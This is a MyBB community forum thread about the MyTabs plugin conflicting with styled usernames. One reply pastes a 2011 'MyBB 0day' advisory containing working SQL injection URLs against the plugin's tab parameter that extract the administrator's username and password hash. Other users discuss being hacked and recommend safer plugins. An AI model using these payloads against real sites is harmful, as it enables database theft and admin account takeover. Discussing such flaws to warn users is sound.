MyBB Community Forums

Ok when using mytabs with style usernames i get this problem on the other tabs
is there anyway to fix this issue cause i really want the colour names on the boards too with the mytabs also.

any help would be great thanks

Can you submit a link?
It's probably a div or code that isn't closed properly.

Doesn't matter mytabs= Vulnerability got rid of it

^ IIRC, it had been fixed and no longer insecure.

=====================================================================
MyBB 0day \ MyTabs (plugin) SQL injection vulnerability
=====================================================================
 
# Exploit title :  MyBB 0day \ MyTabs (plugin) SQL injection vulnerability.
# Author: AutoRUN & dR.sqL
# Home : HackForums.AL , Autorun-Albania.COM , HackingWith.US , whiteh4t.com
# Date : 01 \ 08 \ 2011
# Tested on : Windows XP , Linux
# Category : web apps
# Vulnerable Software Link : http://mods.mybb.com/view/mytabs
# Google dork : Use your mind kid ^_^ !
 
Vulnerability :
 
$~ http://localhost/mybbpath/index.php?tab=[SQLi]
 
---------------------------------------
#           ~ Expl0itation ~            #
---------------------------------------
 
$~ Get the administrator's username (usually it has uid=1) ~
 
http://localhost/mybbpath/index.php?tab=1' and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -
 
$~ Get the administrator's password ~
 
http://localhost/mybbpath/index.php?tab=1' and(select 1 from(select count(*),concat((select password from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -
 
 
     _         _        ____  _   _ _   _                   _       _ ____              _    
    / \  _   _| |_ ___ |  _ \| | | | \ | |   __ _ _ __   __| |   __| |  _ \   ___  __ _| |   
   / _ \| | | | __/ _ \| |_) | | | |  \| |  / _` | '_ \ / _` |  / _` | |_) | / __|/ _` | |   
  / ___ \ |_| | |_ (_) |  _ <| |_| | |\  | | (_| | | | | (_| | | (_| |  _ < _\__ \ (_| | |___
 /_/   \_\__,_|\__\___/|_| \_\\___/|_| \_|  \__,_|_| |_|\__,_|  \__,_|_| \_(_)___/\__, |_____|
                                                                                     |_|     
 
 
 
# Greetz : Programer , Dr.moka, eragon, BaDBoY-AL , z3r0w1zard , Red Dragon_aL , Pretorian ,Th3_Power , R-t33n , Ace Wizard, KubaNnez1 , ssgodfather, DJDukli , b4ti , CroSs HackForums.AL members & All our friends.
 
 
 
  ____                      _   ____  ____       _    _ _                 _               _
 |  _ \ _ __ ___  _   _  __| | |___ \| __ )     / \  | | |__   __ _ _ __ (_) __ _ _ __   | |
 | |_) | '__/ _ \| | | |/ _` |   __) |  _ \    / _ \ | | '_ \ / _` | '_ \| |/ _` | '_ \  | |
 |  __/| | | (_) | |_| | (_| |  / __/| |_) |  / ___ \| | |_) | (_| | | | | | (_| | | | | |_|
 |_|   |_|  \___/ \__,_|\__,_| |_____|____/  /_/   \_\_|_.__/ \__,_|_| |_|_|\__,_|_| |_| (_)
                                                                                             
 
# 2011

My friend got hacked with this 0 day a month ago and i been told many times not to use it because of this.....also why i think everyone using the leaked version of tabbed menu but unfortunately tabbed menu messes up all time with me

^ I do not believe it is for the updated version of mytabs !

style usernames doesn't work with mytabs , use tabbed menu and it will work.

I suggest use Labrocca's tab plugin. Every other one is vulnerable.